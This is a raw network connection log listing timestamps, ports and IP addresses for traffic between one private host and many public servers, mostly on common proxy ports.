Mar 11, 2024 16:39:45.659079075 CET	51318	80	192.168.2.10	104.16.106.234
Mar 11, 2024 16:39:45.659145117 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:45.660686016 CET	51119	4145	192.168.2.10	162.253.68.97
Mar 11, 2024 16:39:45.660687923 CET	50039	8089	192.168.2.10	111.225.152.42
Mar 11, 2024 16:39:45.660703897 CET	50248	80	192.168.2.10	50.217.226.44
Mar 11, 2024 16:39:45.660703897 CET	49895	45248	192.168.2.10	166.62.121.127
Mar 11, 2024 16:39:45.660705090 CET	51096	9050	192.168.2.10	45.77.108.208
Mar 11, 2024 16:39:45.660741091 CET	45629	51017	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:45.660768986 CET	50982	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:45.661391973 CET	51464	25154	192.168.2.10	159.223.166.21
Mar 11, 2024 16:39:45.662811041 CET	51465	4153	192.168.2.10	103.94.133.92
Mar 11, 2024 16:39:45.663872957 CET	3128	51322	144.91.118.176	192.168.2.10
Mar 11, 2024 16:39:45.664036989 CET	15291	51408	184.178.172.25	192.168.2.10
Mar 11, 2024 16:39:45.664097071 CET	51408	15291	192.168.2.10	184.178.172.25
Mar 11, 2024 16:39:45.664187908 CET	51466	5432	192.168.2.10	45.196.151.134
Mar 11, 2024 16:39:45.664930105 CET	80	50883	50.174.145.12	192.168.2.10
Mar 11, 2024 16:39:45.664958000 CET	51467	80	192.168.2.10	172.67.182.165
Mar 11, 2024 16:39:45.665801048 CET	51468	1975	192.168.2.10	41.33.203.233
Mar 11, 2024 16:39:45.666645050 CET	51372	51282	213.226.16.46	192.168.2.10
Mar 11, 2024 16:39:45.667298079 CET	3128	51302	62.33.207.202	192.168.2.10
Mar 11, 2024 16:39:45.667311907 CET	10363	50129	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.667407990 CET	51302	3128	192.168.2.10	62.33.207.202
Mar 11, 2024 16:39:45.667664051 CET	51302	3128	192.168.2.10	62.33.207.202
Mar 11, 2024 16:39:45.668011904 CET	51469	12217	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:45.668452978 CET	4153	50573	185.22.31.227	192.168.2.10
Mar 11, 2024 16:39:45.669646978 CET	51470	8080	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:45.670272112 CET	51471	3128	192.168.2.10	193.248.35.153
Mar 11, 2024 16:39:45.671709061 CET	51472	1134	192.168.2.10	220.134.221.76
Mar 11, 2024 16:39:45.672611952 CET	80	51333	172.67.36.21	192.168.2.10
Mar 11, 2024 16:39:45.672625065 CET	80	51333	172.67.36.21	192.168.2.10
Mar 11, 2024 16:39:45.672790051 CET	51333	80	192.168.2.10	172.67.36.21
Mar 11, 2024 16:39:45.673008919 CET	80	51333	172.67.36.21	192.168.2.10
Mar 11, 2024 16:39:45.673091888 CET	51333	80	192.168.2.10	172.67.36.21
Mar 11, 2024 16:39:45.674273968 CET	51473	8080	192.168.2.10	200.55.249.135
Mar 11, 2024 16:39:45.674540043 CET	4228	50741	5.161.219.13	192.168.2.10
Mar 11, 2024 16:39:45.674617052 CET	50741	4228	192.168.2.10	5.161.219.13
Mar 11, 2024 16:39:45.674827099 CET	50741	4228	192.168.2.10	5.161.219.13
Mar 11, 2024 16:39:45.675105095 CET	3389	51307	119.91.214.119	192.168.2.10
Mar 11, 2024 16:39:45.675426006 CET	51307	3389	192.168.2.10	119.91.214.119
Mar 11, 2024 16:39:45.675494909 CET	51474	45639	192.168.2.10	103.212.93.201
Mar 11, 2024 16:39:45.675497055 CET	51307	3389	192.168.2.10	119.91.214.119
Mar 11, 2024 16:39:45.675898075 CET	51475	1088	192.168.2.10	46.227.37.185
Mar 11, 2024 16:39:45.676306009 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:45.676321030 CET	49815	26315	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:45.676321983 CET	50390	19599	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:45.676330090 CET	50241	80	192.168.2.10	141.147.33.121
Mar 11, 2024 16:39:45.676347971 CET	50992	32896	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:45.676352024 CET	50986	2853	192.168.2.10	188.165.252.198
Mar 11, 2024 16:39:45.676357985 CET	51112	55994	192.168.2.10	38.127.179.16
Mar 11, 2024 16:39:45.676358938 CET	50236	8181	192.168.2.10	43.132.184.228
Mar 11, 2024 16:39:45.676352024 CET	50993	8085	192.168.2.10	179.48.80.9
Mar 11, 2024 16:39:45.676359892 CET	50999	4153	192.168.2.10	14.161.17.4
Mar 11, 2024 16:39:45.676379919 CET	51006	8080	192.168.2.10	93.43.193.230
Mar 11, 2024 16:39:45.676388025 CET	49729	4145	192.168.2.10	152.32.78.24
Mar 11, 2024 16:39:45.676409006 CET	51003	1951	192.168.2.10	178.33.163.156
Mar 11, 2024 16:39:45.676409960 CET	50988	5678	192.168.2.10	201.221.134.74
Mar 11, 2024 16:39:45.677078962 CET	80	51296	190.58.248.86	192.168.2.10
Mar 11, 2024 16:39:45.677174091 CET	12334	50758	194.4.50.62	192.168.2.10
Mar 11, 2024 16:39:45.677418947 CET	50758	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:45.677418947 CET	50758	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:45.678320885 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:45.678853989 CET	21777	50164	51.222.84.118	192.168.2.10
Mar 11, 2024 16:39:45.679048061 CET	4145	51281	103.35.108.145	192.168.2.10
Mar 11, 2024 16:39:45.679335117 CET	51476	3128	192.168.2.10	51.159.134.210
Mar 11, 2024 16:39:45.679810047 CET	51477	6879	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:45.680326939 CET	51478	21861	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:45.680512905 CET	8080	51308	103.106.216.161	192.168.2.10
Mar 11, 2024 16:39:45.681226015 CET	59268	50160	67.213.212.50	192.168.2.10
Mar 11, 2024 16:39:45.682116032 CET	51479	8081	192.168.2.10	212.127.93.185
Mar 11, 2024 16:39:45.682164907 CET	8080	50731	165.227.95.2	192.168.2.10
Mar 11, 2024 16:39:45.682614088 CET	4145	51367	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.682723999 CET	50731	8080	192.168.2.10	165.227.95.2
Mar 11, 2024 16:39:45.682730913 CET	51367	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:45.682873964 CET	50731	8080	192.168.2.10	165.227.95.2
Mar 11, 2024 16:39:45.682914972 CET	51367	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:45.683456898 CET	26887	51026	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:45.683470011 CET	8080	50566	103.140.34.61	192.168.2.10
Mar 11, 2024 16:39:45.683545113 CET	50566	8080	192.168.2.10	103.140.34.61
Mar 11, 2024 16:39:45.683588028 CET	1080	51137	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:45.683727980 CET	50566	8080	192.168.2.10	103.140.34.61
Mar 11, 2024 16:39:45.683861017 CET	1080	51137	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:45.684427023 CET	51480	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:45.684575081 CET	1929	51032	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.685074091 CET	8080	50848	46.105.35.193	192.168.2.10
Mar 11, 2024 16:39:45.685662031 CET	51481	8088	192.168.2.10	47.243.177.210
Mar 11, 2024 16:39:45.686728954 CET	51482	80	192.168.2.10	50.168.163.178
Mar 11, 2024 16:39:45.686731100 CET	51483	80	192.168.2.10	95.216.230.239
Mar 11, 2024 16:39:45.686805964 CET	3128	51306	38.54.101.254	192.168.2.10
Mar 11, 2024 16:39:45.686933041 CET	8080	51313	14.232.235.13	192.168.2.10
Mar 11, 2024 16:39:45.687033892 CET	51313	8080	192.168.2.10	14.232.235.13
Mar 11, 2024 16:39:45.687239885 CET	51313	8080	192.168.2.10	14.232.235.13
Mar 11, 2024 16:39:45.689795971 CET	51484	9080	192.168.2.10	38.54.6.39
Mar 11, 2024 16:39:45.690253019 CET	51485	1080	192.168.2.10	36.95.48.45
Mar 11, 2024 16:39:45.690483093 CET	80	50893	50.217.226.42	192.168.2.10
Mar 11, 2024 16:39:45.691462994 CET	80	50885	106.14.255.124	192.168.2.10
Mar 11, 2024 16:39:45.691981077 CET	50985	41746	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:45.691983938 CET	50050	3129	192.168.2.10	20.219.177.85
Mar 11, 2024 16:39:45.692007065 CET	50434	25491	192.168.2.10	67.43.227.230
Mar 11, 2024 16:39:45.692008972 CET	50491	80	192.168.2.10	50.239.72.17
Mar 11, 2024 16:39:45.692009926 CET	50987	6332	192.168.2.10	38.45.44.51
Mar 11, 2024 16:39:45.692009926 CET	50991	20473	192.168.2.10	45.77.99.122
Mar 11, 2024 16:39:45.692013025 CET	50995	38801	192.168.2.10	113.101.255.100
Mar 11, 2024 16:39:45.692019939 CET	51001	52326	192.168.2.10	132.148.16.169
Mar 11, 2024 16:39:45.692023993 CET	51000	3128	192.168.2.10	68.183.180.222
Mar 11, 2024 16:39:45.692030907 CET	50998	4153	192.168.2.10	190.15.216.237
Mar 11, 2024 16:39:45.692030907 CET	51005	3128	192.168.2.10	37.156.146.163
Mar 11, 2024 16:39:45.692049026 CET	51004	8080	192.168.2.10	197.232.47.122
Mar 11, 2024 16:39:45.693561077 CET	40351	49750	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:45.694104910 CET	80	50957	50.169.118.209	192.168.2.10
Mar 11, 2024 16:39:45.694118023 CET	8081	50761	178.141.249.246	192.168.2.10
Mar 11, 2024 16:39:45.694233894 CET	51486	1080	192.168.2.10	45.138.87.238
Mar 11, 2024 16:39:45.694545984 CET	51487	58080	192.168.2.10	177.159.120.74
Mar 11, 2024 16:39:45.696276903 CET	51488	8080	192.168.2.10	24.176.53.183
Mar 11, 2024 16:39:45.697705030 CET	51489	37259	192.168.2.10	41.223.234.116
Mar 11, 2024 16:39:45.697885990 CET	80	51035	50.168.72.113	192.168.2.10
Mar 11, 2024 16:39:45.698419094 CET	30951	49751	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.698931932 CET	13477	50179	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.699642897 CET	51490	35050	192.168.2.10	116.118.48.208
Mar 11, 2024 16:39:45.699726105 CET	8888	51116	36.134.91.82	192.168.2.10
Mar 11, 2024 16:39:45.699953079 CET	51116	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:45.699992895 CET	51116	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:45.700349092 CET	44523	51389	51.161.33.206	192.168.2.10
Mar 11, 2024 16:39:45.700377941 CET	51491	10000	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:45.700453043 CET	51389	44523	192.168.2.10	51.161.33.206
Mar 11, 2024 16:39:45.700463057 CET	80	49773	50.239.72.18	192.168.2.10
Mar 11, 2024 16:39:45.700890064 CET	4145	51401	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:45.700901985 CET	4153	50556	176.197.144.158	192.168.2.10
Mar 11, 2024 16:39:45.700916052 CET	51389	44523	192.168.2.10	51.161.33.206
Mar 11, 2024 16:39:45.701025009 CET	50556	4153	192.168.2.10	176.197.144.158
Mar 11, 2024 16:39:45.701034069 CET	3629	50826	177.86.64.1	192.168.2.10
Mar 11, 2024 16:39:45.701350927 CET	50556	4153	192.168.2.10	176.197.144.158
Mar 11, 2024 16:39:45.702039957 CET	51492	80	192.168.2.10	185.162.230.178
Mar 11, 2024 16:39:45.704365969 CET	51493	58266	192.168.2.10	151.236.39.7
Mar 11, 2024 16:39:45.704936028 CET	999	50626	190.97.238.94	192.168.2.10
Mar 11, 2024 16:39:45.705122948 CET	50626	999	192.168.2.10	190.97.238.94
Mar 11, 2024 16:39:45.705250025 CET	51494	8080	192.168.2.10	14.207.167.114
Mar 11, 2024 16:39:45.705770969 CET	36181	51231	69.61.200.104	192.168.2.10
Mar 11, 2024 16:39:45.705785990 CET	36181	51231	69.61.200.104	192.168.2.10
Mar 11, 2024 16:39:45.706115007 CET	38817	50808	77.48.23.181	192.168.2.10
Mar 11, 2024 16:39:45.706878901 CET	51496	80	192.168.2.10	185.162.231.226
Mar 11, 2024 16:39:45.706880093 CET	51495	36181	192.168.2.10	69.61.200.104
Mar 11, 2024 16:39:45.707004070 CET	4145	51254	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:45.707051992 CET	4145	51254	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:45.707556009 CET	50448	3335	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.707570076 CET	50045	4153	192.168.2.10	103.83.105.167
Mar 11, 2024 16:39:45.707587004 CET	50069	5678	192.168.2.10	223.25.98.82
Mar 11, 2024 16:39:45.707608938 CET	83	50336	103.48.68.101	192.168.2.10
Mar 11, 2024 16:39:45.707636118 CET	51046	13793	192.168.2.10	103.117.109.1
Mar 11, 2024 16:39:45.707637072 CET	49825	9039	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:45.708616018 CET	4145	51376	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:45.708704948 CET	51376	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:45.709249020 CET	4145	50803	185.169.181.25	192.168.2.10
Mar 11, 2024 16:39:45.709392071 CET	51376	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:45.713715076 CET	8080	51326	125.212.231.220	192.168.2.10
Mar 11, 2024 16:39:45.714015007 CET	4145	50707	72.195.34.41	192.168.2.10
Mar 11, 2024 16:39:45.714174986 CET	50707	4145	192.168.2.10	72.195.34.41
Mar 11, 2024 16:39:45.714700937 CET	4145	50704	72.210.221.223	192.168.2.10
Mar 11, 2024 16:39:45.714765072 CET	50704	4145	192.168.2.10	72.210.221.223
Mar 11, 2024 16:39:45.715013981 CET	4145	50328	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:45.715147972 CET	50704	4145	192.168.2.10	72.210.221.223
Mar 11, 2024 16:39:45.715151072 CET	50707	4145	192.168.2.10	72.195.34.41
Mar 11, 2024 16:39:45.715802908 CET	5678	49874	1.15.62.12	192.168.2.10
Mar 11, 2024 16:39:45.717863083 CET	37355	49990	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:45.717881918 CET	51497	55555	192.168.2.10	8.222.152.158
Mar 11, 2024 16:39:45.718681097 CET	51087	9050	192.168.2.10	211.194.214.128
Mar 11, 2024 16:39:45.718718052 CET	51133	1080	192.168.2.10	165.227.112.138
Mar 11, 2024 16:39:45.719077110 CET	15673	51411	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.719151020 CET	51411	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.719239950 CET	51411	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.719803095 CET	51498	11720	192.168.2.10	192.163.200.82
Mar 11, 2024 16:39:45.721457005 CET	1080	50845	188.255.245.205	192.168.2.10
Mar 11, 2024 16:39:45.721471071 CET	64384	50911	195.154.43.221	192.168.2.10
Mar 11, 2024 16:39:45.722244024 CET	51499	80	192.168.2.10	8.219.97.248
Mar 11, 2024 16:39:45.722654104 CET	8880	50481	95.66.138.21	192.168.2.10
Mar 11, 2024 16:39:45.723149061 CET	51019	3128	192.168.2.10	140.227.204.70
Mar 11, 2024 16:39:45.723162889 CET	51020	18636	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:45.723174095 CET	51028	999	192.168.2.10	37.148.217.234
Mar 11, 2024 16:39:45.723176956 CET	51036	25675	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.723176956 CET	51025	31673	192.168.2.10	173.212.209.49
Mar 11, 2024 16:39:45.723177910 CET	51022	80	192.168.2.10	91.107.180.250
Mar 11, 2024 16:39:45.723186970 CET	51129	29477	192.168.2.10	67.43.236.21
Mar 11, 2024 16:39:45.723187923 CET	51030	41146	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:45.723200083 CET	51038	8291	192.168.2.10	103.114.96.125
Mar 11, 2024 16:39:45.723200083 CET	49736	33590	192.168.2.10	85.120.30.66
Mar 11, 2024 16:39:45.723222017 CET	51029	8080	192.168.2.10	69.75.140.157
Mar 11, 2024 16:39:45.723225117 CET	50534	15864	192.168.2.10	192.252.214.20
Mar 11, 2024 16:39:45.725965977 CET	51501	3128	192.168.2.10	114.255.132.60
Mar 11, 2024 16:39:45.726069927 CET	51500	6666	192.168.2.10	148.135.119.4
Mar 11, 2024 16:39:45.726340055 CET	51502	999	192.168.2.10	201.71.2.249
Mar 11, 2024 16:39:45.729088068 CET	8081	51363	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.729109049 CET	8081	51049	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.729223013 CET	51363	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.729223967 CET	51503	4216	192.168.2.10	183.164.254.8
Mar 11, 2024 16:39:45.729320049 CET	51363	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.729535103 CET	8081	51049	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.729866982 CET	51504	80	192.168.2.10	104.16.109.213
Mar 11, 2024 16:39:45.731566906 CET	3128	51289	59.153.158.19	192.168.2.10
Mar 11, 2024 16:39:45.732007980 CET	4019	50505	171.235.166.222	192.168.2.10
Mar 11, 2024 16:39:45.732048988 CET	51505	999	192.168.2.10	201.71.3.52
Mar 11, 2024 16:39:45.732636929 CET	51506	3128	192.168.2.10	178.236.246.53
Mar 11, 2024 16:39:45.732645035 CET	4145	49945	36.90.61.224	192.168.2.10
Mar 11, 2024 16:39:45.733959913 CET	51507	80	192.168.2.10	172.67.219.60
Mar 11, 2024 16:39:45.734685898 CET	61344	50682	75.119.145.169	192.168.2.10
Mar 11, 2024 16:39:45.734844923 CET	50682	61344	192.168.2.10	75.119.145.169
Mar 11, 2024 16:39:45.734919071 CET	3129	49798	115.248.66.131	192.168.2.10
Mar 11, 2024 16:39:45.734924078 CET	51508	80	192.168.2.10	43.255.113.232
Mar 11, 2024 16:39:45.734936953 CET	50682	61344	192.168.2.10	75.119.145.169
Mar 11, 2024 16:39:45.735752106 CET	51509	80	192.168.2.10	172.67.3.108
Mar 11, 2024 16:39:45.737178087 CET	8000	50036	137.184.200.42	192.168.2.10
Mar 11, 2024 16:39:45.738334894 CET	51511	8000	192.168.2.10	137.184.200.42
Mar 11, 2024 16:39:45.738406897 CET	51510	8080	192.168.2.10	196.20.12.25
Mar 11, 2024 16:39:45.738578081 CET	80	51352	120.78.191.68	192.168.2.10
Mar 11, 2024 16:39:45.738822937 CET	51024	3180	192.168.2.10	143.208.152.61
Mar 11, 2024 16:39:45.738823891 CET	51034	8199	192.168.2.10	36.64.22.18
Mar 11, 2024 16:39:45.738826036 CET	51352	80	192.168.2.10	120.78.191.68
Mar 11, 2024 16:39:45.738846064 CET	51027	80	192.168.2.10	85.214.107.177
Mar 11, 2024 16:39:45.738847017 CET	49832	80	192.168.2.10	50.172.218.160
Mar 11, 2024 16:39:45.738847017 CET	51051	46195	192.168.2.10	194.163.159.94
Mar 11, 2024 16:39:45.738847971 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:45.738848925 CET	51044	8080	192.168.2.10	200.7.11.154
Mar 11, 2024 16:39:45.738848925 CET	51031	52395	192.168.2.10	164.92.237.188
Mar 11, 2024 16:39:45.738926888 CET	51045	8080	192.168.2.10	41.85.8.233
Mar 11, 2024 16:39:45.738955021 CET	51047	30421	192.168.2.10	176.103.51.24
Mar 11, 2024 16:39:45.738955021 CET	51052	56974	192.168.2.10	190.220.1.173
Mar 11, 2024 16:39:45.739332914 CET	80	49795	50.239.72.19	192.168.2.10
Mar 11, 2024 16:39:45.739362955 CET	51352	80	192.168.2.10	120.78.191.68
Mar 11, 2024 16:39:45.740010023 CET	3129	49833	20.204.212.76	192.168.2.10
Mar 11, 2024 16:39:45.740171909 CET	51512	8080	192.168.2.10	103.72.89.133
Mar 11, 2024 16:39:45.740750074 CET	51513	5678	192.168.2.10	36.91.117.59
Mar 11, 2024 16:39:45.742295027 CET	4145	50439	184.178.172.3	192.168.2.10
Mar 11, 2024 16:39:45.742485046 CET	4145	50439	184.178.172.3	192.168.2.10
Mar 11, 2024 16:39:45.742991924 CET	51514	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:45.744240046 CET	51515	39737	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:45.744497061 CET	51516	8081	192.168.2.10	86.52.40.119
Mar 11, 2024 16:39:45.745024920 CET	5678	51347	1.15.62.12	192.168.2.10
Mar 11, 2024 16:39:45.745076895 CET	4495	49766	67.43.228.252	192.168.2.10
Mar 11, 2024 16:39:45.745208025 CET	51347	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:45.745316029 CET	51347	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:45.745421886 CET	4711	50229	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:45.745434046 CET	80	51368	121.128.194.154	192.168.2.10
Mar 11, 2024 16:39:45.745573044 CET	51368	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:45.745980024 CET	51368	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:45.746017933 CET	51517	4153	192.168.2.10	37.152.163.95
Mar 11, 2024 16:39:45.747020960 CET	80	50308	50.231.104.58	192.168.2.10
Mar 11, 2024 16:39:45.748265028 CET	51518	13141	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:45.748636007 CET	51519	8080	192.168.2.10	125.25.82.190
Mar 11, 2024 16:39:45.749820948 CET	80	51351	104.20.89.77	192.168.2.10
Mar 11, 2024 16:39:45.749876022 CET	80	51351	104.20.89.77	192.168.2.10
Mar 11, 2024 16:39:45.750226021 CET	80	51351	104.20.89.77	192.168.2.10
Mar 11, 2024 16:39:45.750289917 CET	80	51284	162.223.116.75	192.168.2.10
Mar 11, 2024 16:39:45.750338078 CET	51351	80	192.168.2.10	104.20.89.77
Mar 11, 2024 16:39:45.750399113 CET	80	51284	162.223.116.75	192.168.2.10
Mar 11, 2024 16:39:45.750408888 CET	51351	80	192.168.2.10	104.20.89.77
Mar 11, 2024 16:39:45.750463963 CET	80	51284	162.223.116.75	192.168.2.10
Mar 11, 2024 16:39:45.752397060 CET	51520	1080	192.168.2.10	65.1.40.47
Mar 11, 2024 16:39:45.752398968 CET	51284	80	192.168.2.10	162.223.116.75
Mar 11, 2024 16:39:45.752398968 CET	51284	80	192.168.2.10	162.223.116.75
Mar 11, 2024 16:39:45.752739906 CET	51521	8080	192.168.2.10	103.134.165.38
Mar 11, 2024 16:39:45.753480911 CET	999	50140	45.229.34.174	192.168.2.10
Mar 11, 2024 16:39:45.753516912 CET	6969	50891	95.217.222.213	192.168.2.10
Mar 11, 2024 16:39:45.754419088 CET	80	51373	104.27.66.31	192.168.2.10
Mar 11, 2024 16:39:45.754419088 CET	51042	1080	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:45.754431009 CET	80	51373	104.27.66.31	192.168.2.10
Mar 11, 2024 16:39:45.754435062 CET	49777	80	192.168.2.10	50.174.145.9
Mar 11, 2024 16:39:45.754447937 CET	51139	10513	192.168.2.10	66.29.128.243
Mar 11, 2024 16:39:45.754450083 CET	51041	39782	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:45.754450083 CET	51050	82	192.168.2.10	202.12.80.8
Mar 11, 2024 16:39:45.754456997 CET	50549	34560	192.168.2.10	108.181.132.117
Mar 11, 2024 16:39:45.754457951 CET	51048	10102	192.168.2.10	83.220.168.57
Mar 11, 2024 16:39:45.754457951 CET	50279	24815	192.168.2.10	95.217.104.21
Mar 11, 2024 16:39:45.754457951 CET	51055	8080	192.168.2.10	41.180.70.2
Mar 11, 2024 16:39:45.754461050 CET	50591	51535	192.168.2.10	162.241.66.135
Mar 11, 2024 16:39:45.754473925 CET	51063	53471	192.168.2.10	37.44.238.2
Mar 11, 2024 16:39:45.754475117 CET	50500	16691	192.168.2.10	92.204.136.149
Mar 11, 2024 16:39:45.754477024 CET	51062	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:45.754662991 CET	80	51373	104.27.66.31	192.168.2.10
Mar 11, 2024 16:39:45.754760981 CET	51373	80	192.168.2.10	104.27.66.31
Mar 11, 2024 16:39:45.754843950 CET	51373	80	192.168.2.10	104.27.66.31
Mar 11, 2024 16:39:45.755119085 CET	51522	8082	192.168.2.10	122.3.121.231
Mar 11, 2024 16:39:45.755547047 CET	51523	1080	192.168.2.10	116.106.105.55
Mar 11, 2024 16:39:45.756844044 CET	1080	50484	35.154.71.72	192.168.2.10
Mar 11, 2024 16:39:45.757258892 CET	50484	1080	192.168.2.10	35.154.71.72
Mar 11, 2024 16:39:45.757294893 CET	80	50746	65.1.244.232	192.168.2.10
Mar 11, 2024 16:39:45.757488012 CET	50746	80	192.168.2.10	65.1.244.232
Mar 11, 2024 16:39:45.758629084 CET	51524	8080	192.168.2.10	202.58.18.27
Mar 11, 2024 16:39:45.760802031 CET	51525	5050	192.168.2.10	23.152.40.15
Mar 11, 2024 16:39:45.761118889 CET	4145	50818	103.210.35.40	192.168.2.10
Mar 11, 2024 16:39:45.762170076 CET	80	51377	172.67.182.77	192.168.2.10
Mar 11, 2024 16:39:45.762356043 CET	80	51377	172.67.182.77	192.168.2.10
Mar 11, 2024 16:39:45.762609959 CET	51377	80	192.168.2.10	172.67.182.77
Mar 11, 2024 16:39:45.763252020 CET	80	51416	50.175.212.66	192.168.2.10
Mar 11, 2024 16:39:45.763289928 CET	80	51377	172.67.182.77	192.168.2.10
Mar 11, 2024 16:39:45.763403893 CET	4145	50864	177.125.206.40	192.168.2.10
Mar 11, 2024 16:39:45.763437986 CET	51377	80	192.168.2.10	172.67.182.77
Mar 11, 2024 16:39:45.763982058 CET	51527	80	192.168.2.10	104.225.220.233
Mar 11, 2024 16:39:45.763982058 CET	51526	1975	192.168.2.10	45.240.182.120
Mar 11, 2024 16:39:45.765345097 CET	51528	4145	192.168.2.10	105.234.156.109
Mar 11, 2024 16:39:45.765753031 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.766535997 CET	80	51430	104.16.105.146	192.168.2.10
Mar 11, 2024 16:39:45.766716957 CET	51430	80	192.168.2.10	104.16.105.146
Mar 11, 2024 16:39:45.766812086 CET	51430	80	192.168.2.10	104.16.105.146
Mar 11, 2024 16:39:45.767031908 CET	51529	8623	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.767771006 CET	31247	51126	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:45.768448114 CET	51530	1080	192.168.2.10	209.14.112.10
Mar 11, 2024 16:39:45.769768953 CET	51531	3051	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.770070076 CET	51054	3128	192.168.2.10	51.79.249.186
Mar 11, 2024 16:39:45.770070076 CET	51059	81	192.168.2.10	37.187.24.201
Mar 11, 2024 16:39:45.770071030 CET	50572	46783	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:45.770071030 CET	50372	80	192.168.2.10	50.173.140.149
Mar 11, 2024 16:39:45.770071030 CET	50314	3128	192.168.2.10	194.145.209.187
Mar 11, 2024 16:39:45.770073891 CET	51056	8080	192.168.2.10	103.165.128.171
Mar 11, 2024 16:39:45.770077944 CET	51064	46047	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:45.770137072 CET	50554	55994	192.168.2.10	38.127.172.219
Mar 11, 2024 16:39:45.770198107 CET	51053	3128	192.168.2.10	86.107.179.234
Mar 11, 2024 16:39:45.770226002 CET	51060	8080	192.168.2.10	36.91.148.36
Mar 11, 2024 16:39:45.770283937 CET	49719	3129	192.168.2.10	20.219.180.149
Mar 11, 2024 16:39:45.770286083 CET	50514	5123	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:45.770539999 CET	32650	50823	103.216.51.36	192.168.2.10
Mar 11, 2024 16:39:45.771903038 CET	51532	80	192.168.2.10	82.208.111.19
Mar 11, 2024 16:39:45.771903038 CET	51533	4595	192.168.2.10	72.10.160.94
Mar 11, 2024 16:39:45.771915913 CET	31247	51126	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:45.772007942 CET	51126	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:45.772007942 CET	51126	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:45.772325993 CET	51534	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:45.772871971 CET	51535	80	192.168.2.10	50.168.163.183
Mar 11, 2024 16:39:45.773854971 CET	51536	8080	192.168.2.10	91.136.142.153
Mar 11, 2024 16:39:45.774591923 CET	80	51437	104.18.237.128	192.168.2.10
Mar 11, 2024 16:39:45.774671078 CET	51437	80	192.168.2.10	104.18.237.128
Mar 11, 2024 16:39:45.774671078 CET	51537	80	192.168.2.10	104.19.235.10
Mar 11, 2024 16:39:45.774794102 CET	51437	80	192.168.2.10	104.18.237.128
Mar 11, 2024 16:39:45.775351048 CET	80	51321	5.78.65.91	192.168.2.10
Mar 11, 2024 16:39:45.775677919 CET	51538	3128	192.168.2.10	65.109.211.101
Mar 11, 2024 16:39:45.776145935 CET	80	51292	104.16.105.198	192.168.2.10
Mar 11, 2024 16:39:45.776762009 CET	51539	4145	192.168.2.10	24.249.199.12
Mar 11, 2024 16:39:45.778166056 CET	18080	50708	152.32.130.117	192.168.2.10
